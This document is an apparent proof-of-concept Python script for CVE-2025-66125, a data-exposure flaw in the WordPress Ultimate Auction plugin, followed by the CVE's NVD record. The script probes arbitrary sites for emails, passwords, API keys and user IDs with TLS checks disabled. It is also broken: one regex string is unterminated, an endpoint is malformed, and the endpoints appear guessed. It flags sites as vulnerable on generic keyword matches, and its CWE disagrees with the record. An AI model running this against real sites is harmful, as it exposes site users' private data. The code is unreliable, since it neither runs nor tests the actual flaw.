CVE-2025-66125

# CVE-2025-66125 PoC - WordPress Ultimate Auction Sensitive Data Exposure # Affected: Ultimate Auction Plugin <= 4.3.3 # Type: Information Disclosure (CWE-200) # CVSS: 5.3 (Medium) import requests import sys import re def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-66125 """ # Common WordPress plugin paths for ultimate-auction vulnerable_paths = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/ultimate-auction/includes/', '/wp-json/wp/v2/ua-auction/', '/?wc-ajax=get_auction_data', '/wp-content/plugins/ultimate-auction/ajax-handler.php' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-66125 - Ultimate Auction Information Disclosure\n") for path in vulnerable_paths: url = target_url.rstrip('/') + path try: # Try to trigger sensitive data endpoint response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for sensitive data patterns in response sensitive_patterns = [ r'"price"\s*:\s*"[0-9]+', # Price information r'"reserve_price"', # Reserve price r'"bidder_", # Bidder info r'"email"\s*:\s*"[^@]+@[^@"]+"', # Email addresses r'"secret"', # Secret tokens r'"api_key"', # API keys r'"password"', # Passwords r'\"user_id\"\s*:\s*\d+' # User IDs ] for pattern in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: print(f"[!] VULNERABLE: {url}") print(f"[!] Found sensitive data pattern: {pattern}") print(f"[!] Matched data: {matches[:3]}") # Show first 3 matches return True except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") continue print("[*] No obvious vulnerability indicators found.") print("[*] Manual verification recommended.") return False def exploit_sensitive_data(target_url): """ Attempt to extract sensitive auction data """ print("\n[*] Attempting to enumerate auction data...\n") # Try common auction-related API endpoints auction_endpoints = [ {'path': '/wp-json/wp/v2/auction', 'method': 'GET'}, {'path': '/wp-admin/admin-ajax.php?action=get_auction_details', 'method': 'GET'}, {'path': '/wp-admin/admin-ajax.php?action=wdm_auction_data', 'method': 'POST'}, {'path': '/?wc-ajax= auction_bid', 'method': 'POST'} ] for endpoint in auction_endpoints: url = target_url.rstrip('/') + endpoint['path'] try: if endpoint['method'] == 'GET': response = requests.get(url, timeout=10, verify=False) else: response = requests.post(url, data={'post_id': '1'}, timeout=10, verify=False) if response.status_code == 200: print(f"[*] Endpoint: {endpoint['path']}") print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Look for sensitive information if any(keyword in response.text.lower() for keyword in ['email', 'price', 'bid', 'user']): print("[!] Potential sensitive data found!") except requests.RequestException: continue if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66125_poc.py <target_url>") print("Example: python cve-2025-66125_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) exploit_sensitive_data(target)

{"cve": {"id": "CVE-2025-66125", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:56.853", "lastModified": "2026-04-23T15:35:25.127", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Nitesh Ultimate Auction ultimate-auction allows Retrieve Embedded Sensitive Data.This issue affects Ultimate Auction : from n/a through <= 4.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-auction/vulnerability/wordpress-ultimate-auction-plugin-4-3-2-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}